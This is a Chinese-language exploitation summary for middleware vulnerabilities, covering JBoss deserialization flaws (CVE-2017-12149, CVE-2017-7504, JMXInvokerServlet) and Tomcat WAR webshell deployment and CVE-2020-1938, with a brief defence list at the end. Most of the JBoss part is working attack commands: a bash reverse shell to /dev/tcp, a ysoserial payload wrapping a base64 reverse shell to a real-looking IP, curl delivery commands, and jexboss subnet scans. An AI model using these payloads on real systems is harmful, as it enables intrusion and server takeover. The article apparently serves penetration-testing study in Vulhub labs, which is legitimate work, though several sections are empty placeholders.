中间件利用面总结
字数 1562 2025-08-20 18:18:16
中间件漏洞利用面详解
1. JBoss 中间件漏洞
1.1 JBoss 反序列化漏洞 (CVE-2017-12149)
漏洞描述:
该漏洞是Java反序列化错误类型,存在于JBoss的HttpInvoker组件中的ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化。
影响版本:
- JBoss AS 5.x
- JBoss AS 6.x
环境搭建:
svn checkout https://github.com/vulhub/vulhub/trunk/jboss/CVE-2017-12149
cd CVE-2017-12149
docker-compose up -d
漏洞复现步骤:
- 访问路由
/invoker/readonly,确认返回500状态码 - 使用ysoserial生成序列化数据:
# 反弹shell命令base64编码 echo "bash -i &>/dev/tcp/xxx/xxx <&1"|base64 # 利用ysoserial的CC5链生成序列化代码 java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSAmPi9kZXYvdGNwLzE4Mi4xNjAuOS4zNS85OTk5IDwmMQo=}|{base64,-d}|{bash,-i}" > poc.ser - 传递序列化数据进行攻击:
curl http://192.168.119.157:8080/invoker/readonly --data-binary @poc.ser
漏洞分析:
漏洞存在于http invoker组件的ReadOnlyAccessFilter的doFilter方法中。该方法在没有进行任何安全检查的情况下,将来自客户端的数据流(request.getInputStream())进行了反序列化操作。
1.2 JBossMQ反序列化漏洞 (CVE-2017-7504)
漏洞描述:
JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞。
影响版本:
- JBoss 4.x
环境搭建:
svn checkout https://github.com/vulhub/vulhub/trunk/jboss/CVE-2017-7504
cd CVE-2017-7504
docker-compose up -d
漏洞复现:
- 生成Payload:
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "touch /tmp/success" > 1.ser - 发送Payload:
curl http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @1.ser
1.3 JBoss JMXInvokerServlet 反序列化漏洞
漏洞描述:
JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,可利用Apache Commons Collections中的Gadget执行任意代码。
漏洞利用:
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "touch /tmp/success" > 1.ser
curl http://your-ip:8080/invoker/JMXInvokerServlet --data-binary @1.ser
1.4 JBoss利用工具
jexboss工具
项目地址:https://github.com/joaomatosf/jexboss
安装:
PATH=$PATH:C:\Python27\
PATH=$PATH:C:\Python27\Scripts
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
使用方式:
- 扫描模式:
python jexboss.py -mode auto-scan -network 192.168.119.0/24 -ports 8080 -results results.txt - 定点利用:
python2 jexboss.py -u http://192.168.119.157:8080/
JbossScan工具
使用方法:
- 将目标URL放入target.txt中
- 执行:
python .\jbossScan.py
2. Tomcat 中间件漏洞
2.1 Tomcat部署war包后门
前提条件:能够进入Tomcat管理后台
步骤:
- 准备恶意webshell(JSP文件)
- 打包成war包:
jar -cvf test.war * - 通过Tomcat管理界面上传war包
2.2 Tomcat任意文件读取漏洞 (CVE-2020-1938)
影响版本:
- Apache Tomcat 9.0.0.M1 到9.0.0.30
- Apache Tomcat 8.5.0 到8.5.50
- Apache Tomcat 7.0.0 到7.0.99
利用工具:
- 利用脚本:https://github.com/zhzyker/exphub/blob/master/tomcat/cve-2020-1938_exp.py
3. 其他中间件漏洞
3.1 Weblogic
(原文中未详细描述,可补充)
3.2 Websphere
(原文中未详细描述,可补充)
3.3 Apache
(原文中未详细描述,可补充)
3.4 Nginx
(原文中未详细描述,可补充)
3.5 IIS
(原文中未详细描述,可补充)
4. 防御建议
- 及时更新中间件到最新版本
- 关闭不必要的服务和端口
- 对管理后台实施强认证措施
- 监控和限制反序列化操作
- 使用Web应用防火墙(WAF)防护已知漏洞攻击
5. 总结
本文详细介绍了JBoss和Tomcat中间件的多个高危漏洞及其利用方法,包括反序列化漏洞、文件读取漏洞等。这些漏洞大多由于不安全的配置或代码实现导致,攻击者可以利用这些漏洞获取服务器权限。管理员应定期检查中间件安全配置,及时修补已知漏洞。